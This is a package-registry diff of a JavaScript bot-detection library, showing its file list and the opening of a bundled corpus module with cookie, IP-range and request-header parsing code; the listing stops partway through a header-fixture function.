@osqd/bothandlerjs 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +516 -0
- package/LICENSE +102 -0
- package/README.md +308 -0
- package/bin/bothandlerjs.mjs +14 -0
- package/dist/actions/index.d.ts +22 -0
- package/dist/actions/types.d.ts +59 -0
- package/dist/adapters/fastify.d.ts +43 -0
- package/dist/adapters/fetch.d.ts +51 -0
- package/dist/adapters/index.cjs +723 -0
- package/dist/adapters/index.cjs.map +1 -0
- package/dist/adapters/index.d.ts +8 -0
- package/dist/adapters/index.js +692 -0
- package/dist/adapters/index.js.map +1 -0
- package/dist/adapters/koa.d.ts +27 -0
- package/dist/adapters/node.d.ts +29 -0
- package/dist/adapters/shared.d.ts +39 -0
- package/dist/audit.d.ts +172 -0
- package/dist/challenge/index.d.ts +176 -0
- package/dist/challenge/language.d.ts +57 -0
- package/dist/challenge/page.d.ts +42 -0
- package/dist/challenge/pow.d.ts +33 -0
- package/dist/challenge/token.d.ts +72 -0
- package/dist/cli.cjs +13388 -0
- package/dist/cli.cjs.map +1 -0
- package/dist/cli.d.ts +5 -0
- package/dist/cli.js +13358 -0
- package/dist/cli.js.map +1 -0
- package/dist/client/index.cjs +139 -0
- package/dist/client/index.cjs.map +1 -0
- package/dist/client/index.d.ts +63 -0
- package/dist/client/index.js +112 -0
- package/dist/client/index.js.map +1 -0
- package/dist/config.d.ts +316 -0
- package/dist/core.d.ts +443 -0
- package/dist/corpus/adversarial.d.ts +2 -0
- package/dist/corpus/advertising-email.d.ts +2 -0
- package/dist/corpus/ai-crawlers.d.ts +2 -0
- package/dist/corpus/benign-bots.d.ts +2 -0
- package/dist/corpus/cdn-gateways.d.ts +2 -0
- package/dist/corpus/cookies.d.ts +49 -0
- package/dist/corpus/crawlers-regional.d.ts +2 -0
- package/dist/corpus/crawlers-vertical.d.ts +2 -0
- package/dist/corpus/headers.d.ts +403 -0
- package/dist/corpus/humans-apps.d.ts +2 -0
- package/dist/corpus/humans-browsers.d.ts +2 -0
- package/dist/corpus/humans.d.ts +2 -0
- package/dist/corpus/index.cjs +4196 -0
- package/dist/corpus/index.cjs.map +1 -0
- package/dist/corpus/index.d.ts +37 -0
- package/dist/corpus/index.js +4132 -0
- package/dist/corpus/index.js.map +1 -0
- package/dist/corpus/infrastructure.d.ts +17 -0
- package/dist/corpus/libraries-extended.d.ts +2 -0
- package/dist/corpus/ranges.d.ts +31 -0
- package/dist/corpus/reputation.d.ts +21 -0
- package/dist/corpus/runner.d.ts +130 -0
- package/dist/corpus/schema.d.ts +185 -0
- package/dist/corpus/tooling.d.ts +2 -0
- package/dist/corpus/unwanted.d.ts +2 -0
- package/dist/crawler-ranges.d.ts +113 -0
- package/dist/dashboard/client.generated.d.ts +7 -0
- package/dist/dashboard/feed.d.ts +186 -0
- package/dist/dashboard/index.d.ts +5 -0
- package/dist/dashboard/page.d.ts +51 -0
- package/dist/dashboard/parse-request.d.ts +28 -0
- package/dist/dashboard/preview.d.ts +45 -0
- package/dist/dashboard/server.d.ts +70 -0
- package/dist/dashboard/types.d.ts +714 -0
- package/dist/detectors/accept-signature.d.ts +6 -0
- package/dist/detectors/browsing-coherence.d.ts +44 -0
- package/dist/detectors/cadence.d.ts +28 -0
- package/dist/detectors/clearance.d.ts +25 -0
- package/dist/detectors/client-hints.d.ts +19 -0
- package/dist/detectors/client-signals.d.ts +27 -0
- package/dist/detectors/crawl-breadth.d.ts +28 -0
- package/dist/detectors/crawler-verification.d.ts +39 -0
- package/dist/detectors/fetch-metadata.d.ts +20 -0
- package/dist/detectors/header-integrity.d.ts +26 -0
- package/dist/detectors/header-order.d.ts +27 -0
- package/dist/detectors/identity-rotation.d.ts +34 -0
- package/dist/detectors/index.d.ts +56 -0
- package/dist/detectors/ip-intelligence.d.ts +30 -0
- package/dist/detectors/known-bots.d.ts +94 -0
- package/dist/detectors/probe-signature.d.ts +50 -0
- package/dist/detectors/rate-anomaly.d.ts +36 -0
- package/dist/detectors/self-identified.d.ts +33 -0
- package/dist/detectors/session-integrity.d.ts +24 -0
- package/dist/detectors/tls-fingerprint.d.ts +34 -0
- package/dist/detectors/trap.d.ts +98 -0
- package/dist/detectors/types.d.ts +70 -0
- package/dist/detectors/ua-coherence.d.ts +32 -0
- package/dist/evidence.d.ts +45 -0
- package/dist/facts.d.ts +46 -0
- package/dist/index.cjs +9600 -0
- package/dist/index.cjs.map +1 -0
- package/dist/index.d.ts +63 -0
- package/dist/index.js +9444 -0
- package/dist/index.js.map +1 -0
- package/dist/internal/async.d.ts +16 -0
- package/dist/internal/clock.d.ts +17 -0
- package/dist/internal/crypto.d.ts +26 -0
- package/dist/internal/dns.d.ts +100 -0
- package/dist/internal/emitter.d.ts +18 -0
- package/dist/internal/http.d.ts +22 -0
- package/dist/internal/ip.d.ts +73 -0
- package/dist/internal/lru.d.ts +34 -0
- package/dist/internal/matcher.d.ts +41 -0
- package/dist/internal/pattern.d.ts +14 -0
- package/dist/internal/ua.d.ts +92 -0
- package/dist/metrics.d.ts +120 -0
- package/dist/notify/hub.d.ts +70 -0
- package/dist/notify/index.d.ts +7 -0
- package/dist/notify/redact.d.ts +48 -0
- package/dist/notify/sinks.d.ts +62 -0
- package/dist/notify/types.d.ts +56 -0
- package/dist/policy/index.d.ts +7 -0
- package/dist/policy/match.d.ts +20 -0
- package/dist/policy/policy.d.ts +123 -0
- package/dist/policy/presets.d.ts +161 -0
- package/dist/policy/types.d.ts +155 -0
- package/dist/robots.d.ts +83 -0
- package/dist/state.d.ts +161 -0
- package/dist/stores/index.d.ts +5 -0
- package/dist/stores/memory.d.ts +33 -0
- package/dist/stores/redis.d.ts +59 -0
- package/dist/stores/types.d.ts +37 -0
- package/dist/types.d.ts +250 -0
- package/docs/challenge/index.md +152 -0
- package/docs/challenge/localisation.md +105 -0
- package/docs/concepts/actors.md +113 -0
- package/docs/concepts/evidence.md +133 -0
- package/docs/concepts/the-guard.md +121 -0
- package/docs/concepts/threat-model.md +120 -0
- package/docs/concepts/verdicts.md +108 -0
- package/docs/course/01-first-assessment.md +178 -0
- package/docs/course/02-proof-and-suspicion.md +164 -0
- package/docs/course/03-verdicts-and-scores.md +160 -0
- package/docs/course/04-the-guard.md +200 -0
- package/docs/course/05-detectors.md +178 -0
- package/docs/course/06-identity.md +161 -0
- package/docs/course/07-actors.md +178 -0
- package/docs/course/08-traps.md +183 -0
- package/docs/course/09-rules.md +224 -0
- package/docs/course/10-actions-and-presets.md +216 -0
- package/docs/course/11-the-challenge.md +227 -0
- package/docs/course/12-going-live.md +211 -0
- package/docs/course/13-operating-it.md +238 -0
- package/docs/course/14-scaling.md +195 -0
- package/docs/course/15-extending.md +259 -0
- package/docs/course/16-proving-it.md +266 -0
- package/docs/course/index.md +112 -0
- package/docs/design/decisions.md +216 -0
- package/docs/detection/client-signals.md +96 -0
- package/docs/detection/detectors.md +376 -0
- package/docs/detection/index.md +134 -0
- package/docs/detection/signatures.md +111 -0
- package/docs/detection/verification.md +123 -0
- package/docs/detection/writing-a-detector.md +145 -0
- package/docs/index.md +100 -0
- package/docs/integration/adapters.md +138 -0
- package/docs/integration/client-ip.md +114 -0
- package/docs/integration/index.md +55 -0
- package/docs/integration/stores.md +76 -0
- package/docs/operations/audit.md +116 -0
- package/docs/operations/dashboard.md +725 -0
- package/docs/operations/index.md +101 -0
- package/docs/operations/metrics.md +74 -0
- package/docs/operations/notifications.md +72 -0
- package/docs/operations/runtime-changes.md +118 -0
- package/docs/policy/actions.md +196 -0
- package/docs/policy/index.md +84 -0
- package/docs/policy/presets.md +191 -0
- package/docs/policy/robots.md +128 -0
- package/docs/policy/rules.md +134 -0
- package/docs/reference/api.md +126 -0
- package/docs/reference/configuration.md +175 -0
- package/docs/start/choosing-a-policy.md +127 -0
- package/docs/start/first-integration.md +127 -0
- package/docs/start/installation.md +63 -0
- package/docs/start/upgrading.md +72 -0
- package/docs/testing/cli.md +119 -0
- package/docs/testing/corpus.md +129 -0
- package/docs/testing/index.md +61 -0
- package/docs/testing/replay.md +102 -0
- package/docs/testing/try-it.md +189 -0
- package/package.json +145 -0
|
@@ -0,0 +1,4132 @@
|
|
|
1
|
+
var __getOwnPropNames = Object.getOwnPropertyNames;
|
|
2
|
+
var __esm = (fn, res) => function __init() {
|
|
3
|
+
return fn && (res = (0, fn[__getOwnPropNames(fn)[0]])(fn = 0)), res;
|
|
4
|
+
};
|
|
5
|
+
|
|
6
|
+
// src/internal/clock.ts
|
|
7
|
+
var ManualClock;
|
|
8
|
+
var init_clock = __esm({
|
|
9
|
+
"src/internal/clock.ts"() {
|
|
10
|
+
"use strict";
|
|
11
|
+
ManualClock = class {
|
|
12
|
+
constructor(current = 0) {
|
|
13
|
+
this.current = current;
|
|
14
|
+
}
|
|
15
|
+
current;
|
|
16
|
+
now() {
|
|
17
|
+
return this.current;
|
|
18
|
+
}
|
|
19
|
+
advance(ms) {
|
|
20
|
+
this.current += ms;
|
|
21
|
+
}
|
|
22
|
+
set(ms) {
|
|
23
|
+
this.current = ms;
|
|
24
|
+
}
|
|
25
|
+
};
|
|
26
|
+
}
|
|
27
|
+
});
|
|
28
|
+
|
|
29
|
+
// src/internal/http.ts
|
|
30
|
+
function parseCookies(header) {
|
|
31
|
+
const cookies = /* @__PURE__ */ Object.create(null);
|
|
32
|
+
if (header === void 0 || header.length === 0) return cookies;
|
|
33
|
+
const source = header.length > MAX_COOKIE_HEADER ? header.slice(0, MAX_COOKIE_HEADER) : header;
|
|
34
|
+
let count = 0;
|
|
35
|
+
for (const pair of source.split(";")) {
|
|
36
|
+
if (count >= MAX_COOKIES) break;
|
|
37
|
+
const equals = pair.indexOf("=");
|
|
38
|
+
if (equals <= 0) continue;
|
|
39
|
+
const name = pair.slice(0, equals).trim();
|
|
40
|
+
if (name.length === 0) continue;
|
|
41
|
+
const rawValue = pair.slice(equals + 1).trim();
|
|
42
|
+
const value = rawValue.startsWith('"') && rawValue.endsWith('"') ? rawValue.slice(1, -1) : rawValue;
|
|
43
|
+
try {
|
|
44
|
+
cookies[name] = decodeURIComponent(value);
|
|
45
|
+
} catch {
|
|
46
|
+
cookies[name] = value;
|
|
47
|
+
}
|
|
48
|
+
count++;
|
|
49
|
+
}
|
|
50
|
+
return cookies;
|
|
51
|
+
}
|
|
52
|
+
function joinHeaderValue(value) {
|
|
53
|
+
if (value === void 0) return void 0;
|
|
54
|
+
return Array.isArray(value) ? value.join(", ") : value;
|
|
55
|
+
}
|
|
56
|
+
var MAX_COOKIE_HEADER, MAX_COOKIES;
|
|
57
|
+
var init_http = __esm({
|
|
58
|
+
"src/internal/http.ts"() {
|
|
59
|
+
"use strict";
|
|
60
|
+
MAX_COOKIE_HEADER = 8192;
|
|
61
|
+
MAX_COOKIES = 64;
|
|
62
|
+
}
|
|
63
|
+
});
|
|
64
|
+
|
|
65
|
+
// src/internal/ip.ts
|
|
66
|
+
function parseIp(value) {
|
|
67
|
+
const input = value.trim();
|
|
68
|
+
if (input.length === 0 || input.length > 45) return null;
|
|
69
|
+
const bare = input.startsWith("[") && input.endsWith("]") ? input.slice(1, -1) : input;
|
|
70
|
+
if (bare.includes(":")) return parseIpv6(bare);
|
|
71
|
+
return parseIpv4(bare);
|
|
72
|
+
}
|
|
73
|
+
function parseIpv4(value) {
|
|
74
|
+
const parts = value.split(".");
|
|
75
|
+
if (parts.length !== 4) return null;
|
|
76
|
+
const bytes = new Uint8Array(4);
|
|
77
|
+
for (let i = 0; i < 4; i++) {
|
|
78
|
+
const part = parts[i];
|
|
79
|
+
if (part.length === 0 || part.length > 3) return null;
|
|
80
|
+
if (!/^\d+$/.test(part)) return null;
|
|
81
|
+
if (part.length > 1 && part[0] === "0") return null;
|
|
82
|
+
const n = Number(part);
|
|
83
|
+
if (n > 255) return null;
|
|
84
|
+
bytes[i] = n;
|
|
85
|
+
}
|
|
86
|
+
return bytes;
|
|
87
|
+
}
|
|
88
|
+
function parseIpv6(value) {
|
|
89
|
+
const withoutZone = value.split("%")[0];
|
|
90
|
+
const doubleColon = withoutZone.indexOf("::");
|
|
91
|
+
if (doubleColon !== withoutZone.lastIndexOf("::")) return null;
|
|
92
|
+
const [headText, tailText] = doubleColon === -1 ? [withoutZone, ""] : [withoutZone.slice(0, doubleColon), withoutZone.slice(doubleColon + 2)];
|
|
93
|
+
const head = headText.length > 0 ? headText.split(":") : [];
|
|
94
|
+
const tail = tailText.length > 0 ? tailText.split(":") : [];
|
|
95
|
+
let embedded = null;
|
|
96
|
+
const groups = [...head, ...tail];
|
|
97
|
+
const last = groups[groups.length - 1];
|
|
98
|
+
if (last !== void 0 && last.includes(".")) {
|
|
99
|
+
embedded = parseIpv4(last);
|
|
100
|
+
if (!embedded) return null;
|
|
101
|
+
if (tail.length > 0) tail.pop();
|
|
102
|
+
else head.pop();
|
|
103
|
+
}
|
|
104
|
+
const groupCount = head.length + tail.length + (embedded ? 2 : 0);
|
|
105
|
+
if (doubleColon === -1 ? groupCount !== 8 : groupCount > 7) return null;
|
|
106
|
+
const bytes = new Uint8Array(16);
|
|
107
|
+
let offset = 0;
|
|
108
|
+
for (const group of head) {
|
|
109
|
+
if (!writeGroup(bytes, offset, group)) return null;
|
|
110
|
+
offset += 2;
|
|
111
|
+
}
|
|
112
|
+
offset = 16 - tail.length * 2 - (embedded ? 4 : 0);
|
|
113
|
+
for (const group of tail) {
|
|
114
|
+
if (!writeGroup(bytes, offset, group)) return null;
|
|
115
|
+
offset += 2;
|
|
116
|
+
}
|
|
117
|
+
if (embedded) bytes.set(embedded, 12);
|
|
118
|
+
if (isIpv4Mapped(bytes)) return bytes.slice(12, 16);
|
|
119
|
+
return bytes;
|
|
120
|
+
}
|
|
121
|
+
function writeGroup(bytes, offset, group) {
|
|
122
|
+
if (group.length === 0 || group.length > 4 || !/^[0-9a-fA-F]+$/.test(group)) return false;
|
|
123
|
+
const n = Number.parseInt(group, 16);
|
|
124
|
+
bytes[offset] = n >> 8;
|
|
125
|
+
bytes[offset + 1] = n & 255;
|
|
126
|
+
return true;
|
|
127
|
+
}
|
|
128
|
+
function isIpv4Mapped(bytes) {
|
|
129
|
+
for (let i = 0; i < 10; i++) if (bytes[i] !== 0) return false;
|
|
130
|
+
return bytes[10] === 255 && bytes[11] === 255;
|
|
131
|
+
}
|
|
132
|
+
function formatIp(bytes) {
|
|
133
|
+
if (bytes.length === 4) return `${bytes[0]}.${bytes[1]}.${bytes[2]}.${bytes[3]}`;
|
|
134
|
+
const groups = [];
|
|
135
|
+
for (let i = 0; i < 16; i += 2) groups.push((bytes[i] << 8 | bytes[i + 1]).toString(16));
|
|
136
|
+
let bestStart = -1;
|
|
137
|
+
let bestLen = 0;
|
|
138
|
+
for (let i = 0; i < 8; i++) {
|
|
139
|
+
if (groups[i] !== "0") continue;
|
|
140
|
+
let j = i;
|
|
141
|
+
while (j < 8 && groups[j] === "0") j++;
|
|
142
|
+
if (j - i > bestLen) {
|
|
143
|
+
bestLen = j - i;
|
|
144
|
+
bestStart = i;
|
|
145
|
+
}
|
|
146
|
+
i = j;
|
|
147
|
+
}
|
|
148
|
+
if (bestLen < 2) return groups.join(":");
|
|
149
|
+
return `${groups.slice(0, bestStart).join(":")}::${groups.slice(bestStart + bestLen).join(":")}`;
|
|
150
|
+
}
|
|
151
|
+
function normalizeIp(value) {
|
|
152
|
+
const bytes = parseIp(value);
|
|
153
|
+
return bytes ? formatIp(bytes) : null;
|
|
154
|
+
}
|
|
155
|
+
function parseCidr(value) {
|
|
156
|
+
const slash = value.lastIndexOf("/");
|
|
157
|
+
const addressText = slash === -1 ? value : value.slice(0, slash);
|
|
158
|
+
const bytes = parseIp(addressText);
|
|
159
|
+
if (!bytes) return null;
|
|
160
|
+
const maxPrefix = bytes.length * 8;
|
|
161
|
+
if (slash === -1) return { bytes, prefix: maxPrefix, source: value };
|
|
162
|
+
const prefixText = value.slice(slash + 1);
|
|
163
|
+
if (!/^\d{1,3}$/.test(prefixText)) return null;
|
|
164
|
+
const prefix = Number(prefixText);
|
|
165
|
+
if (prefix > maxPrefix) return null;
|
|
166
|
+
return { bytes, prefix, source: value };
|
|
167
|
+
}
|
|
168
|
+
function cidrContains(cidr, ip) {
|
|
169
|
+
if (cidr.bytes.length !== ip.length) return false;
|
|
170
|
+
const fullBytes = cidr.prefix >> 3;
|
|
171
|
+
for (let i = 0; i < fullBytes; i++) if (cidr.bytes[i] !== ip[i]) return false;
|
|
172
|
+
const remainder = cidr.prefix & 7;
|
|
173
|
+
if (remainder === 0) return true;
|
|
174
|
+
const mask = 255 << 8 - remainder;
|
|
175
|
+
return (cidr.bytes[fullBytes] & mask) === (ip[fullBytes] & mask);
|
|
176
|
+
}
|
|
177
|
+
function scan(entries, ip, best) {
|
|
178
|
+
let winner = best;
|
|
179
|
+
for (let i = 0; i < entries.length; i++) {
|
|
180
|
+
const entry = entries[i];
|
|
181
|
+
if (winner !== void 0 && entry.order > winner.order) continue;
|
|
182
|
+
if (cidrContains(entry.cidr, ip)) winner = entry;
|
|
183
|
+
}
|
|
184
|
+
return winner;
|
|
185
|
+
}
|
|
186
|
+
var FamilyIndex, IpRangeSet, SPECIAL_USE_RANGES, SPECIAL_USE;
|
|
187
|
+
var init_ip = __esm({
|
|
188
|
+
"src/internal/ip.ts"() {
|
|
189
|
+
"use strict";
|
|
190
|
+
FamilyIndex = class {
|
|
191
|
+
/** Prefix < 8. Spans first bytes, so it is always scanned. Realistically empty. */
|
|
192
|
+
wide = [];
|
|
193
|
+
buckets = /* @__PURE__ */ new Map();
|
|
194
|
+
add(entry) {
|
|
195
|
+
const { cidr } = entry;
|
|
196
|
+
if (cidr.prefix < 8) {
|
|
197
|
+
this.wide.push(entry);
|
|
198
|
+
return;
|
|
199
|
+
}
|
|
200
|
+
const first = cidr.bytes[0];
|
|
201
|
+
let bucket = this.buckets.get(first);
|
|
202
|
+
if (bucket === void 0) {
|
|
203
|
+
bucket = { mid: [], deep: /* @__PURE__ */ new Map() };
|
|
204
|
+
this.buckets.set(first, bucket);
|
|
205
|
+
}
|
|
206
|
+
if (cidr.prefix < 16) {
|
|
207
|
+
bucket.mid.push(entry);
|
|
208
|
+
return;
|
|
209
|
+
}
|
|
210
|
+
const second = cidr.bytes[1];
|
|
211
|
+
let deep = bucket.deep.get(second);
|
|
212
|
+
if (deep === void 0) {
|
|
213
|
+
deep = [];
|
|
214
|
+
bucket.deep.set(second, deep);
|
|
215
|
+
}
|
|
216
|
+
deep.push(entry);
|
|
217
|
+
}
|
|
218
|
+
/** The earliest-added range containing `ip`, or `undefined`. */
|
|
219
|
+
find(ip) {
|
|
220
|
+
let best = scan(this.wide, ip, void 0);
|
|
221
|
+
const bucket = this.buckets.get(ip[0]);
|
|
222
|
+
if (bucket !== void 0) {
|
|
223
|
+
best = scan(bucket.mid, ip, best);
|
|
224
|
+
const deep = bucket.deep.get(ip[1]);
|
|
225
|
+
if (deep !== void 0) best = scan(deep, ip, best);
|
|
226
|
+
}
|
|
227
|
+
return best;
|
|
228
|
+
}
|
|
229
|
+
};
|
|
230
|
+
IpRangeSet = class {
|
|
231
|
+
v4 = new FamilyIndex();
|
|
232
|
+
v6 = new FamilyIndex();
|
|
233
|
+
count = 0;
|
|
234
|
+
/**
|
|
235
|
+
* Every range that parsed, in the order it was added.
|
|
236
|
+
*
|
|
237
|
+
* Kept as plain text beside the index rather than reconstructed from it. The index
|
|
238
|
+
* is shaped for lookups — bucketed by leading byte, prefix-split — and walking it
|
|
239
|
+
* back into a list would be both slower and, for anything that wants to *show* the
|
|
240
|
+
* set, wrong: what an operator recognises is the string they wrote, not a normalised
|
|
241
|
+
* form of it. These sets are configuration-sized, so the array costs nothing.
|
|
242
|
+
*/
|
|
243
|
+
sources = [];
|
|
244
|
+
/** Ranges that failed to parse, surfaced so a typo in config is loud rather than silent. */
|
|
245
|
+
invalid = [];
|
|
246
|
+
constructor(ranges = []) {
|
|
247
|
+
for (const range of ranges) this.add(range);
|
|
248
|
+
}
|
|
249
|
+
add(range) {
|
|
250
|
+
const cidr = parseCidr(range);
|
|
251
|
+
if (!cidr) {
|
|
252
|
+
this.invalid.push(range);
|
|
253
|
+
return;
|
|
254
|
+
}
|
|
255
|
+
this.sources.push(cidr.source);
|
|
256
|
+
(cidr.bytes.length === 4 ? this.v4 : this.v6).add({ cidr, order: this.count++ });
|
|
257
|
+
}
|
|
258
|
+
get size() {
|
|
259
|
+
return this.count;
|
|
260
|
+
}
|
|
261
|
+
/** The ranges in this set, as written, oldest first. What a reader can act on. */
|
|
262
|
+
entries() {
|
|
263
|
+
return this.sources;
|
|
264
|
+
}
|
|
265
|
+
/**
|
|
266
|
+
* Returns the matching range's original text, or `undefined`. Useful for explaining
|
|
267
|
+
* a decision. When several ranges match, the one added first wins, so the
|
|
268
|
+
* explanation does not depend on the index's internal layout.
|
|
269
|
+
*/
|
|
270
|
+
match(ip) {
|
|
271
|
+
const bytes = typeof ip === "string" ? parseIp(ip) : ip;
|
|
272
|
+
if (!bytes) return void 0;
|
|
273
|
+
return (bytes.length === 4 ? this.v4 : this.v6).find(bytes)?.cidr.source;
|
|
274
|
+
}
|
|
275
|
+
contains(ip) {
|
|
276
|
+
const bytes = typeof ip === "string" ? parseIp(ip) : ip;
|
|
277
|
+
if (!bytes) return false;
|
|
278
|
+
return (bytes.length === 4 ? this.v4 : this.v6).find(bytes) !== void 0;
|
|
279
|
+
}
|
|
280
|
+
};
|
|
281
|
+
SPECIAL_USE_RANGES = [
|
|
282
|
+
"0.0.0.0/8",
|
|
283
|
+
"10.0.0.0/8",
|
|
284
|
+
"100.64.0.0/10",
|
|
285
|
+
"127.0.0.0/8",
|
|
286
|
+
"169.254.0.0/16",
|
|
287
|
+
"172.16.0.0/12",
|
|
288
|
+
"192.0.0.0/24",
|
|
289
|
+
"192.0.2.0/24",
|
|
290
|
+
"192.168.0.0/16",
|
|
291
|
+
"198.18.0.0/15",
|
|
292
|
+
"198.51.100.0/24",
|
|
293
|
+
"203.0.113.0/24",
|
|
294
|
+
"224.0.0.0/4",
|
|
295
|
+
"240.0.0.0/4",
|
|
296
|
+
"::1/128",
|
|
297
|
+
"fc00::/7",
|
|
298
|
+
"fe80::/10",
|
|
299
|
+
"2001:db8::/32"
|
|
300
|
+
];
|
|
301
|
+
SPECIAL_USE = new IpRangeSet(SPECIAL_USE_RANGES);
|
|
302
|
+
}
|
|
303
|
+
});
|
|
304
|
+
|
|
305
|
+
// src/facts.ts
|
|
306
|
+
function createFacts(input) {
|
|
307
|
+
const rawUrl = input.url ?? "/";
|
|
308
|
+
const url = rawUrl.length > MAX_URL_LENGTH ? rawUrl.slice(0, MAX_URL_LENGTH) : rawUrl;
|
|
309
|
+
const queryStart = url.indexOf("?");
|
|
310
|
+
const rawPath = queryStart === -1 ? url : url.slice(0, queryStart);
|
|
311
|
+
const headers = /* @__PURE__ */ Object.create(null);
|
|
312
|
+
for (const [name, value] of Object.entries(input.headers)) {
|
|
313
|
+
const joined = joinHeaderValue(value);
|
|
314
|
+
if (joined !== void 0) headers[name.toLowerCase()] = joined;
|
|
315
|
+
}
|
|
316
|
+
const facts = {
|
|
317
|
+
method: (input.method ?? "GET").toUpperCase(),
|
|
318
|
+
path: normalizePath(rawPath),
|
|
319
|
+
query: parseQuery(queryStart === -1 ? "" : url.slice(queryStart + 1)),
|
|
320
|
+
headers,
|
|
321
|
+
headerOrder: extractOrder(input.rawHeaders, headers),
|
|
322
|
+
ip: normalizeIp(input.ip) ?? input.ip,
|
|
323
|
+
timestamp: input.timestamp ?? Date.now()
|
|
324
|
+
};
|
|
325
|
+
const cookieHeader = headers["cookie"];
|
|
326
|
+
if (cookieHeader !== void 0) facts.cookies = parseCookies(cookieHeader);
|
|
327
|
+
if (input.protocol !== void 0) facts.protocol = input.protocol;
|
|
328
|
+
if (input.httpVersion !== void 0) facts.httpVersion = input.httpVersion;
|
|
329
|
+
if (input.tlsFingerprint !== void 0) facts.tlsFingerprint = input.tlsFingerprint;
|
|
330
|
+
if (input.partialHeaders === true) facts.partialHeaders = true;
|
|
331
|
+
if (input.extra !== void 0) facts.extra = input.extra;
|
|
332
|
+
return facts;
|
|
333
|
+
}
|
|
334
|
+
function normalizePath(rawPath) {
|
|
335
|
+
let path = rawPath;
|
|
336
|
+
try {
|
|
337
|
+
path = decodeURIComponent(rawPath);
|
|
338
|
+
} catch {
|
|
339
|
+
}
|
|
340
|
+
path = path.replace(/\\/g, "/").replace(/\/{2,}/g, "/");
|
|
341
|
+
if (!path.startsWith("/")) path = `/${path}`;
|
|
342
|
+
if (path.includes("./")) {
|
|
343
|
+
const resolved = [];
|
|
344
|
+
for (const segment of path.split("/")) {
|
|
345
|
+
if (segment === "" || segment === ".") continue;
|
|
346
|
+
if (segment === "..") resolved.pop();
|
|
347
|
+
else resolved.push(segment);
|
|
348
|
+
}
|
|
349
|
+
path = `/${resolved.join("/")}`;
|
|
350
|
+
}
|
|
351
|
+
return path.length > 1 && path.endsWith("/") ? path.slice(0, -1) : path;
|
|
352
|
+
}
|
|
353
|
+
function parseQuery(search) {
|
|
354
|
+
const query = /* @__PURE__ */ Object.create(null);
|
|
355
|
+
if (search.length === 0) return query;
|
|
356
|
+
let count = 0;
|
|
357
|
+
for (const [key, value] of new URLSearchParams(search)) {
|
|
358
|
+
if (count++ >= MAX_QUERY_PARAMS) break;
|
|
359
|
+
query[key] = value.length > 1024 ? value.slice(0, 1024) : value;
|
|
360
|
+
}
|
|
361
|
+
return query;
|
|
362
|
+
}
|
|
363
|
+
function extractOrder(rawHeaders, headers) {
|
|
364
|
+
if (!rawHeaders || rawHeaders.length === 0) return EMPTY_ORDER;
|
|
365
|
+
let isNodeStyle = rawHeaders.length % 2 === 0;
|
|
366
|
+
if (isNodeStyle) {
|
|
367
|
+
let everyEntryIsAHeader = true;
|
|
368
|
+
for (let i = 0; i < rawHeaders.length; i++) {
|
|
369
|
+
const entry = rawHeaders[i];
|
|
370
|
+
const known = headers[entry.toLowerCase()] !== void 0;
|
|
371
|
+
if (i % 2 === 0 && !known && !isHeaderName(entry)) {
|
|
372
|
+
isNodeStyle = false;
|
|
373
|
+
break;
|
|
374
|
+
}
|
|
375
|
+
if (!known) everyEntryIsAHeader = false;
|
|
376
|
+
}
|
|
377
|
+
if (everyEntryIsAHeader) isNodeStyle = false;
|
|
378
|
+
}
|
|
379
|
+
const step = isNodeStyle ? 2 : 1;
|
|
380
|
+
const order = [];
|
|
381
|
+
for (let i = 0; i < rawHeaders.length && order.length < MAX_ORDERED_HEADERS; i += step) {
|
|
382
|
+
order.push(rawHeaders[i].toLowerCase());
|
|
383
|
+
}
|
|
384
|
+
return order;
|
|
385
|
+
}
|
|
386
|
+
function isHeaderName(value) {
|
|
387
|
+
if (value.length === 0) return false;
|
|
388
|
+
for (let i = 0; i < value.length; i++) {
|
|
389
|
+
const code = value.charCodeAt(i);
|
|
390
|
+
const ok = code >= 48 && code <= 57 || // 0-9
|
|
391
|
+
code >= 65 && code <= 90 || // A-Z
|
|
392
|
+
code >= 97 && code <= 122 || // a-z
|
|
393
|
+
code === 33 || code >= 35 && code <= 39 || code === 42 || code === 43 || code === 45 || code === 46 || code === 94 || code === 95 || code === 96 || code === 124 || code === 126;
|
|
394
|
+
if (!ok) return false;
|
|
395
|
+
}
|
|
396
|
+
return true;
|
|
397
|
+
}
|
|
398
|
+
var MAX_URL_LENGTH, MAX_QUERY_PARAMS, MAX_ORDERED_HEADERS, EMPTY_ORDER;
|
|
399
|
+
var init_facts = __esm({
|
|
400
|
+
"src/facts.ts"() {
|
|
401
|
+
"use strict";
|
|
402
|
+
init_http();
|
|
403
|
+
init_ip();
|
|
404
|
+
MAX_URL_LENGTH = 8192;
|
|
405
|
+
MAX_QUERY_PARAMS = 64;
|
|
406
|
+
MAX_ORDERED_HEADERS = 64;
|
|
407
|
+
EMPTY_ORDER = Object.freeze([]);
|
|
408
|
+
}
|
|
409
|
+
});
|
|
410
|
+
|
|
411
|
+
// src/corpus/headers.ts
|
|
412
|
+
var HOST = "shop.example";
|
|
413
|
+
function fetchMetadata(kind) {
|
|
414
|
+
switch (kind) {
|
|
415
|
+
case "navigate":
|
|
416
|
+
return [["Sec-Fetch-Site", "none"], ["Sec-Fetch-Mode", "navigate"], ["Sec-Fetch-User", "?1"], ["Sec-Fetch-Dest", "document"]];
|
|
417
|
+
case "same-origin-navigate":
|
|
418
|
+
return [["Sec-Fetch-Site", "same-origin"], ["Sec-Fetch-Mode", "navigate"], ["Sec-Fetch-User", "?1"], ["Sec-Fetch-Dest", "document"]];
|
|
419
|
+
case "cross-site-navigate":
|
|
420
|
+
return [["Sec-Fetch-Site", "cross-site"], ["Sec-Fetch-Mode", "navigate"], ["Sec-Fetch-User", "?1"], ["Sec-Fetch-Dest", "document"]];
|
|
421
|
+
case "form-post":
|
|
422
|
+
return [["Sec-Fetch-Site", "same-origin"], ["Sec-Fetch-Mode", "navigate"], ["Sec-Fetch-User", "?1"], ["Sec-Fetch-Dest", "document"]];
|
|
423
|
+
case "xhr":
|
|
424
|
+
return [["Sec-Fetch-Site", "same-origin"], ["Sec-Fetch-Mode", "cors"], ["Sec-Fetch-Dest", "empty"]];
|
|
425
|
+
case "cors":
|
|
426
|
+
return [["Sec-Fetch-Site", "cross-site"], ["Sec-Fetch-Mode", "cors"], ["Sec-Fetch-Dest", "empty"]];
|
|
427
|
+
case "subresource":
|
|
428
|
+
return [["Sec-Fetch-Site", "same-origin"], ["Sec-Fetch-Mode", "no-cors"], ["Sec-Fetch-Dest", "image"]];
|
|
429
|
+
case "stylesheet":
|
|
430
|
+
